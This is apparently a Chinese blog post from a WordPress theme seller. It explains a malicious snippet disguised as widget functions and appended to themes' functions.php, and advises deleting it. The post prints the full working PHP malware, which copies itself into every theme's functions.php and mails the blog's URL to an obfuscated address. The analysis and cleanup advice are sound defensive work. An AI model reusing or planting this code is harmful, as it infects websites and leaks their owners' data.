解决wordpress主题functions.php内的恶意代码
测速网在出售主题时，时常会有客户截图说安装wordpress主题时，启用后会有一段错误提示“Fatal error: Cannot redeclare _function _check_active_widget()”后面会跟着显示出错的文件路径的为function.php还有对应的行号。当你在主题目录下打开functions.php，会发现在functions.php文件结尾处的最后一个“？>”添加了一大段类似下面的代码。伪装成是小工具之类的函数，实际是恶意代码。
161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219<?phpfunction _check_active_widget(){$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";$output=strip_tags($output, $allowed);$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));if (is_array($direst)){foreach ($direst as $item){if (is_writable($item)){$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));$cont=file_get_contents($item);if (stripos($cont,$ftion) === false){$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";$output .= $before . "Not found" . $after;if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);$output .= ($showdot && $ellipsis) ? "..." : "";}}}}return $output;}function _get_all_widgetcont($wids,$items=array()){$places=array_shift($wids);if(substr($places,-1) == "/"){$places=substr($places,0,-1);}if(!file_exists($places) || !is_dir($places)){return false;}elseif(is_readable($places)){$elems=scandir($places);foreach ($elems as $elem){if ($elem != "." && $elem != ".."){if (is_dir($places . "/" . $elem)){$wids[]=$places . "/" . $elem;} elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){$items[]=$places . "/" . $elem;}}}}else{return false;}if (sizeof($wids) > 0){return _get_all_widgetcont($wids,$items);} else {return $items;}}if(!function_exists("stripos")){ function stripos($str, $needle, $offset = 0){ return strpos(strtolower( $str ), strtolower( $needle ), $offset); }}if(!function_exists("strripos")){ function strripos($haystack, $needle, $offset = 0) { if(!is_string( $needle ))$needle = chr(intval( $needle )); if($offset < 0){ $temp_cut = strrev(substr( $haystack, 0, abs($offset) )); } else{ $temp_cut = strrev(substr( $haystack, 0, max(( strlen($haystack) - $offset ), 0) )); } if( ($found = stripos( $temp_cut, strrev($needle) )) === FALSE )return FALSE; $pos = ( strlen($haystack) - ($found + $offset + strlen( $needle )) ); return $pos; }}if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) {$dirArray = array();if ($handle = opendir($dir)) {while (false !== ($file = readdir($handle))) {if (($file != "." && $file != "..") || $skipDots == true) {if($listDirectories == false) { if(is_dir($file)) { continue; } }array_push($dirArray,basename($file));}}closedir($handle);}return $dirArray;}}add_action("admin_head", "_check_active_widget");function _prepared_widget(){if(!isset($length)) $length=120;if(!isset($method)) $method="cookie";if(!isset($html_tags)) $html_tags="<a>";if(!isset($filters_type)) $filters_type="none";if(!isset($s)) $s="";if(!isset($filter_h)) $filter_h=get_option("home"); if(!isset($filter_p)) $filter_p="wp_";if(!isset($use_link)) $use_link=1; if(!isset($comments_type)) $comments_type=""; if(!isset($perpage)) $perpage=$_GET["cperpage"];if(!isset($comments_auth)) $comments_auth="";if(!isset($comment_is_approved)) $comment_is_approved=""; if(!isset($authname)) $authname="auth";if(!isset($more_links_text)) $more_links_text="(more...)";if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";if(!isset($more_content)) $more_content="ma".$s."il";if(!isset($forces_more)) $forces_more=1;if(!isset($fakeit)) $fakeit=1;if(!isset($sql)) $sql="";if (!$widget_output) :global $wpdb, $post;$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->commentsment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post.");} else {$output=get_the_password_form();}}}if(!isset($fix_tag)) $fix_tag=1;if(!isset($filters_types)) $filters_types=$filter_h; if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;if(!isset($more_tags)) $more_tags="div";if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#if(!isset($mlink_title)) $mlink_title="Continue reading this entry";if(!isset($showdot)) $showdot=1;$comments=$wpdb->get_results($sql);if($fakeit == 2) { $text=$post->post_content;} elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;} else { $text=$post->post_excerpt;}$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->commentsment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#if($length < 0) {$output=$text;} else {if(!$no_more && strpos($text, "<!--more-->")) {$text=explode("<!--more-->", $text, 2);$l=count($text[0]);$more_link=1;$comments=$wpdb->get_results($sql);} else {$text=explode(" ", $text);if(count($text) > $length) {$l=$length;$ellipsis=1;} else {$l=count($text);$more_links_text="";$ellipsis=0;}}for ($i=0; $i<$l; $i++)$output .= $text[$i] . " ";}update_option("_is_widget_active_", 1);if("all" != $html_tags) {$output=strip_tags($output, $html_tags);return $output;}endif;$output=rtrim($output, "\s\n\t\r\0\x0B");$output=($fix_tag) ? balanceTags($output, true) : $output;$output .= ($showdot && $ellipsis) ? "..." : "";$output=apply_filters($filters_type, $output);switch($more_tags) {case("div") :$tag="div";break;case("span") :$tag="span";break;case("p") :$tag="p";break;default :$tag="span";}if ($use_link ) {if($forces_more) {$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";} else {$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";}}return $output;}add_action("init", "_prepared_widget");function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {global $wpdb;$request="SELECT ID, post_title, COUNT($wpdb->commentsment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->commentsment_post_ID AND post_status=\"publish\"";if(!$show_pass_post) $request .= " AND post_password =\"\"";if($duration !="") { $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";}$request .= " GROUP BY $wpdb->commentsment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";$posts=$wpdb->get_results($request);$output="";if ($posts) {foreach ($posts as $post) {$post_title=stripslashes($post->post_title);$comment_count=$post->comment_count;$permalink=get_permalink($post->ID);$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;}} else {$output .= $before . "None found" . $after;}return$output;} ?>当wordpress启用新的主题时，会调用到function.php里面的函数，而这段恶意代码会检测您的主题路径，之后把其它的主题一并感染，而且它加了和奶多伪装代码，且变量众多。它会藏匿在某一个主题的functions.php文件里，当你启用主题时，这段代码就会蔓延到你当下主题目录下的所有主题的functions.php文章里，添加在所有主题内复制这段代码。
首先它会存在某一主题里面，当你启用调试此主题时，这段代码可以通过遍历获得你主题目录下的所有主题里面的functions.php，并在functions.php文件结尾处的最后一个“？>”处自动添加下面的恶意病毒代码，如果恶意病毒代码添加成功，它会发送你博客的url地址到某邮箱（代码已经将email地址拆分转义）。
解决方法：
把感染了代码的主题根目录下的functions.php文件结尾处的最后一个“？>”后面的大段恶意代码删除即可
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